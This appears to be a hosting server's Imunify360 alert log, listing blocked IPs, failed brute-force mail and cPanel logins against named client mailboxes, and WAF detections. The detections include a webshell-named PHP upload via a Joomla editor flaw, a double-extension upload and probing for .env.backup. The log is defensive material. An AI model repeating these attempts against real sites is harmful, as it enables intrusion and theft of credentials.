abuser: 128.185.235.110
country_id: 1269750
description:
2026-07-23 04:49:46 dovecot_login authenticator failed for H=([184.181.217.198]) [128.185.235.110]:53474: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 04:51:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 04:51:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 04:52:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 04:52:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 04:57:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 05:04:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.236.24.233
country_id: 3895114
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/hotels-and-offices HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://samedayhvacrepair2.info\">site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.10.203.54
country_id: 2661886
description:
Jul 23 05:11:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.10.203.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.203.54
country_id: 2661886
description:
2026-07-23 05:11:29 dovecot_login authenticator failed for H=h-176-10-203-54.a463.priv.bahnhof.se ([14.97.77.182]) [176.10.203.54]:48712: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.119.44.29
country_id: 1282988
description:
Jul 23 05:11:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.119.44.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.119.44.29
country_id: 1282988
description:
2026-07-23 05:11:41 dovecot_login authenticator failed for H=([68.71.243.10]) [111.119.44.29]:41346: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 05:12:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 05:12:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 05:13:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 05:14:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-23 05:13:42 dovecot_login authenticator failed for H=([178.217.74.104]) [193.46.192.20]:46499: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.202.162.196
country_id: 3624060
description:
Jul 23 05:14:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.202.162.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.202.162.196
country_id: 3624060
description:
2026-07-23 05:14:13 dovecot_login authenticator failed for H=([142.54.225.52]) [143.202.162.196]:39838: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://emergencyacrepair3.info\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 05:20:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77350688
name: IM360 WAF: RCE via thumbnail generator in AcyMailing component for Joomla < 8.5.0
abuser: 93.152.205.216
country_id: 732800
domain: ibmcglobal.com
description:


plugin: modsec
rule: 77350306
name: IM360 WAF: Access to suspicious double extension endpoint
abuser: 93.152.205.216
country_id: 732800
domain: ibmcglobal.com
description:
IM360 WAF: Access to suspicious double extension endpoint||MV:/b1.png?.php||WPU:||RSV:8.35||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 93.152.205.216
country_id: 732800
domain: ibmcglobal.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.35||T:APACHE||SC:/home/ibmcglobal/public_html/b1.png?.php||User:ibmcglobal||WPU:||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 05:24:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.5.30
country_id: 1668284
description:
Jul 23 05:27:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.5.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.30
country_id: 1668284
description:
2026-07-23 05:27:36 dovecot_login authenticator failed for H=([149.54.15.126]) [101.13.5.30]:40790: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.91
country_id: 1668284
description:
2026-07-23 05:27:23 dovecot_login authenticator failed for H=([122.187.142.185]) [101.13.6.91]:56319: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 05:33:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 05:34:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.237.191
country_id: 99237
description:
2026-07-23 05:34:52 dovecot_login authenticator failed for H=([49.124.151.55]) [65.20.237.191]:46618: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 05:35:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.240.104.100
country_id: 2077456
description:
Jul 23 05:35:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.240.104.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.240.104.100
country_id: 2077456
description:
2026-07-23 05:35:31 dovecot_login authenticator failed for H=([65.73.230.99]) [220.240.104.100]:36979: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 05:36:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 05:44:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 05:45:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 23 05:47:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.63.126
country_id: 1269750
description:
2026-07-23 05:50:20 dovecot_login authenticator failed for H=(164-53-26-103.intechonline.net) [182.95.63.126]:60282: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 05:54:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 05:55:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 05:57:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 05:58:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 2406:6d00:ffb:1200:c49b:ecf3:d819:27a7
country_id: 2077456
domain: futuracare.com.au
description:
IM360 WAF: Special shell symbol in request||MV:modified_by}||MVN:ARGS:jform[editemailreceiptsettings][editemailreceipttext]||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.55.84.240
country_id: 294640
description:
Jul 23 06:00:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.55.84.240 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.84.240
country_id: 294640
description:
2026-07-23 06:00:55 dovecot_login authenticator failed for H=(mx-ll-223.206.73-179.dynamic.3bb.in.th) [2.55.84.240]:39401: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.152.12.212
country_id: 1210997
description:
Jul 23 06:04:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.152.12.212 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.152.12.212
country_id: 1210997
description:
2026-07-23 06:04:48 dovecot_login authenticator failed for H=([218.92.244.10]) [59.152.12.212]:51226: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 06:05:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 06:07:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 06:14:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 06:16:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 06:19:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 06:20:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://hvacemergencyservice2.info\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.183.122.253
country_id: 6252001
description:
[2026-07-23 06:23:56 +0530] info [whostmgrd] 68.183.122.253 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 06:26:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.169.126.64
country_id: 3686110
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/video-conferencing-cameras HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 06:35:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 5.59.248.79
country_id: 3175395
domain: ddgalaxy.in
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:ddgalaxy||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 06:37:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 06:41:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 06:42:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.97.120
country_id: 337996
description:
2026-07-23 06:43:41 dovecot_login authenticator failed for H=(ipmapt-72-195-34-45.oc.oc.cox.net) [196.188.97.120]:54092: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.233.12.109
country_id: 2963597
description:
Jul 23 06:43:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.233.12.109 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.233.12.109
country_id: 2963597
description:
2026-07-23 06:43:58 dovecot_login authenticator failed for H=([70.166.167.44]) [80.233.12.109]:41983: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.188.97.120
country_id: 337996
description:
Jul 23 06:43:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.188.97.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 06:46:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 43.134.44.94
country_id: 1880251
domain: www.jaashsupplies.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:shxt_1784769476_ezwlh.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.231.35.3
country_id: 3617476
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-theater-solutions HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.119.52.56
country_id: 6252001
description:
Jul 23 06:54:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.119.52.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.52.56
country_id: 6252001
description:
2026-07-23 06:54:58 dovecot_login authenticator failed for H=24-119-52-56.cpe.sparklight.net ([183.171.49.161]) [24.119.52.56]:34156: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.108.83.2
country_id: 6251999
description:
Jul 23 06:55:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.108.83.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.108.83.2
country_id: 6251999
description:
2026-07-23 06:55:15 dovecot_login authenticator failed for H=([206.62.136.111]) [38.108.83.2]:37432: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 06:56:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.198.246
country_id: 660013
description:
2026-07-23 06:57:45 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc6-246.dhcp.inet.fi ([109.173.38.135]) [80.223.198.246]:40736: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-23 06:58:16 dovecot_login authenticator failed for H=([118.26.153.102]) [102.210.148.41]:36930: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 06:58:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.208.236.138
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.35||T:APACHE||RA:173.208.236.138||TA:173.208.236.138||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.224.122.119
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/vssl-x-series-drivers?Itemid=101&catid=18 HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 07:03:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77137283
name: IM360 WAF: WordPress wp2shell REST batch endpoint before 7.0.2 or 6.9.5 (CVE-2026-63030)
abuser: 147.135.76.247
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: WordPress wp2shell REST batch endpoint before 7.0.2 or 6.9.5 (CVE-2026-63030)||MVN:ARGS||MV:8||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 07:04:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://unblocked-games-76-77.s3.amazonaws.com/index.html\">unblocked games</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.34.164.13
country_id: 6252001
description:
Jul 23 07:09:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.34.164.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.34.164.13
country_id: 6252001
description:
2026-07-23 07:09:39 dovecot_login authenticator failed for H=(abts-north-static-104.21.176.122.airtelbroadband.in) [192.34.164.13]:33588: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 07:16:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.249.151.16
country_id: 2589581
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/tax_ibmc/investors_club.php HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.6.91
country_id: 1668284
description:
Jul 23 07:18:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.6.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.91
country_id: 1668284
description:
2026-07-23 07:18:05 dovecot_login authenticator failed for H=([192.252.210.237]) [101.13.6.91]:46874: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.229.110
country_id: 1269750
description:
Jul 23 07:18:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.229.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.229.110
country_id: 1269750
description:
2026-07-23 07:18:43 dovecot_login authenticator failed for H=(47-143-208-202.fdr01.blpk.ca.ip.frontiernet.net) [182.95.229.110]:35978: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 07:19:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.198.155.174
country_id: 953987
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/lighting-control-systems HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 07:25:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 07:26:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.196.164.214
country_id: 3175395
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://xn--80aamaegyol9lmb.xn--p1ai/redirect?url=https://ajuda.cyber8.com.br/index.php/User:ShaunGaray6\">crazytimes IT</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.16.17.141
country_id: 2921044
description:
Jul 23 07:36:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.16.17.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.201.173
country_id: 660013
description:
2026-07-23 07:35:33 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc9-173.dhcp.inet.fi ([37.192.47.229]) [80.223.201.173]:41408: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.212.9.122
country_id: 1835841
description:
Jul 23 07:35:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.212.9.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.9.122
country_id: 1835841
description:
2026-07-23 07:35:45 dovecot_login authenticator failed for H=([82.209.191.11]) [123.212.9.122]:44903: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.11.0.20
country_id: 1835841
description:
Jul 23 07:36:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.11.0.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.11.0.20
country_id: 1835841
description:
2026-07-23 07:36:39 dovecot_login authenticator failed for H=([180.94.75.102]) [59.11.0.20]:57054: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
